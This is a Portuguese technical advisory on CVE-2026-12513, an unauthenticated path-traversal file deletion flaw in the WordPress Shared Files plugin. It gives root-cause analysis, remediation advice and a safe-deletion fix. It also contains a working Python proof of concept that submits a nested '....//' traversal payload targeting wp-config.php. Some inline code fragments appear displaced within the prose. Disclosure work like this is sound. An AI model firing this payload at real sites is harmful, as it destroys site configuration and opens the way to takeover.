
Advisory técnico e prova de conceito para CVE-2026-12513, uma exclusão arbitrária de arquivos não autenticada via path traversal no plugin Shared Files para WordPress, incluindo análise da causa raiz e orientações de remediação.
CVE-2026-12513 é uma vulnerabilidade de Exclusão Arbitrária de Arquivos não autenticada via Path Traversal que afeta os plugins WordPress Shared Files e Shared Files Pro antes da versão 1.7.68, descoberta e analisada pelo pesquisador de segurança cibernética Huynh Kien Minh (MinhHK). A falha ocorre nas rotinas de processamento de envio de arquivos do frontend do plugin, onde os caminhos de arquivo fornecidos pelo usuário são filtrados usando uma substituição de padrão de travessia de passagem única com falhas que pode ser contornada usando sequências aninhadas (como ). Consequentemente, um atacante remoto não autenticado pode enviar um caminho manipulado apontando para fora do diretório de uploads pretendido para atingir ativos críticos do servidor, incluindo . Quando um administrador posteriormente purga ou exclui permanentemente a entrada enviada, o aplicativo invoca primitivas de exclusão do sistema de arquivos () contra o caminho arbitrário armazenado. Isso resulta na destruição dos arquivos de configuração principais do WordPress, desencadeando uma grave Negação de Serviço e permitindo a tomada do site via configuração de instalação não configurada. O pesquisador líder Huynh Kien Minh avaliou esta vulnerabilidade sob a pontuação CVSS 3.1 6.8 Média (CWE-73 / CWE-22), recomendando atualizações imediatas dos plugins para a versão 1.7.68 ou posterior e validação robusta de caminho canônico.
....//wp-config.phpunlink()Links Rápidos: Explore o Portfólio de Segurança Cibernética oficial do pesquisador ou revise o Advisório Verificado WPScan.
| Parâmetro | Especificação Técnica |
|---|---|
| Identificador da Vulnerabilidade | CVE-2026-12513 |
| Software Alvo | Shared Files / Shared Files Pro (Plugins WordPress) |
| Slugs dos Plugins | shared-files, shared-files-pro |
| Versões Vulneráveis | < 1.7.68 |
| Versão Corrigida | >= 1.7.68 |
| Classe da Vulnerabilidade | Controle Externo do Nome ou Caminho do Arquivo / Path Traversal (CWE-73 / CWE-22) |
| Pontuação CVSS v3.1 | 6.8 (Média) (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:H) |
| Descobridor / Pesquisador | Huynh Kien Minh (MinhHK) |
| Autoridade de Verificação | WPScan / MITRE Corporation |
| Referência do Advisório WPScan | Relatório WPScan 25c9fa21-c48b-4333-8abc-87230dc4c869 |
| Portfólio do Pesquisador | https://minhhk.web.app/ |
A vulnerabilidade está enraizada em um mecanismo inadequado de sanitização de caminho implementado nos manipuladores de envio de arquivos do frontend em Shared Files (< 1.7.68).
Ao aceitar envios de arquivos do frontend, o plugin tentava remover sequências de travessia de diretório (../) usando uma substituição de string de passagem única:
// Filtro de sanitização de passagem única inseguro em Shared Files < 1.7.68
$file_path = str_replace( '../', '', $_POST['file_path'] );
Como str_replace() executa apenas uma vez da esquerda para a direita:
....//....//....//wp-config.php../ é removido uma vez de ....//, os caracteres externos colapsam de volta juntos para formar ../:
....// -> ../../../../../wp-config.php!wp_posts ou tabela personalizada do plugin)./wp-admin/admin.php?page=shared-files, o backend chama unlink() no caminho armazenado resolvido:// Lógica de exclusão vulnerável
$file_to_delete = WP_CONTENT_DIR . '/uploads/shared-files/' . $stored_file_path;
if ( file_exists( $file_to_delete ) ) {
unlink( $file_to_delete ); // Aciona a exclusão do arquivo alvo (ex.: /var/www/html/wp-config.php)
}
wp-config.php é excluído:
/wp-admin/install.php).Aviso Ético: Este Proof-of-Concept é fornecido estritamente para pesquisa educacional, validação defensiva e auditoria de segurança sob protocolos de divulgação ética por Huynh Kien Minh.
poc_cve_2026_12513.py)#!/usr/bin/env python3
"""
CVE-2026-12513: Shared Files < 1.7.68 Unauthenticated Path Traversal File Deletion PoC
Author: Huynh Kien Minh (MinhHK) - https://minhhk.web.app/
"""
import requests
import sys
TARGET_URL = "http://target-wordpress.local"
UPLOAD_ENDPOINT = f"{TARGET_URL}/wp-admin/admin-ajax.php"
def trigger_traversal_payload(target_url, target_file="../../../../wp-config.php"):
print(f"[*] Auditing Target: {target_url}")
# Nested traversal sequence bypassing single-pass str_replace('../', '', $input)
nested_traversal = "....//....//....//....//" + target_file.lstrip("/")
payload = {
"action": "shared_files_frontend_upload",
"file_name": "innocent_document.pdf",
"file_path": nested_traversal
}
headers = {
"User-Agent": "Mozilla/5.0 (Security Audit; CVE-2026-12513 Verification; Huynh Kien Minh)"
}
try:
response = requests.post(UPLOAD_ENDPOINT, data=payload, headers=headers, timeout=10)
print(f"[*] Submission Response Status: {response.status_code}")
if response.status_code == 200:
print("[+] Traversal path successfully injected into database storage.")
print("[!] When the entry is deleted by admin, the target file will be unlinked.")
return True
else:
print(f"[-] Request failed with HTTP status: {response.status_code}")
except requests.RequestException as e:
print(f"[-] Connection failed: {e}")
return False
if __name__ == "__main__":
url = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL
trigger_traversal_payload(url)
1.7.68 ou superior.wp-config.php sejam somente leitura (chmod 400 ou 440) para o processo do servidor web.Imponha resolução estrita de caminho canônico usando realpath() e wp_normalize_path() para garantir que as operações permaneçam dentro do limite de uploads designado:
// Padrão de Validação de Caminho Seguro (Versão 1.7.68+)
function shared_files_safe_delete( $relative_path ) {
$base_dir = wp_normalize_path( WP_CONTENT_DIR . '/uploads/shared-files/' );
$target = wp_normalize_path( realpath( $base_dir . $relative_path ) );
// Garante que o realpath resolvido comece estritamente com o diretório base designado
if ( false === $target || 0 !== strpos( $target, $base_dir ) ) {
wp_die( __( 'Invalid or unauthorized file path.', 'shared-files' ), 403 );
}
if ( file_exists( $target ) && is_file( $target ) ) {
unlink( $target );
}
}
Huynh Kien Minh (MinhHK) é um Pesquisador de Segurança da Informação especializado em pesquisa de vulnerabilidades em WordPress, auditorias de segurança de núcleo e plugins, e modelagem defensiva de exploits.
{
"@context": "https://schema.org",
"@type": "TechArticle",
"headline": "CVE-2026-12513: Shared Files < 1.7.68 Unauthenticated Arbitrary File Deletion via Path Traversal",
"author": {
"@type": "Person",
"name": "Huynh Kien Minh",
"url": "https://minhhk.web.app/"
},
"datePublished": "2026-08-30",
"description": "Technical advisory by Huynh Kien Minh analyzing CVE-2026-12513 in Shared Files WordPress plugin.",
"identifier": "CVE-2026-12513"
}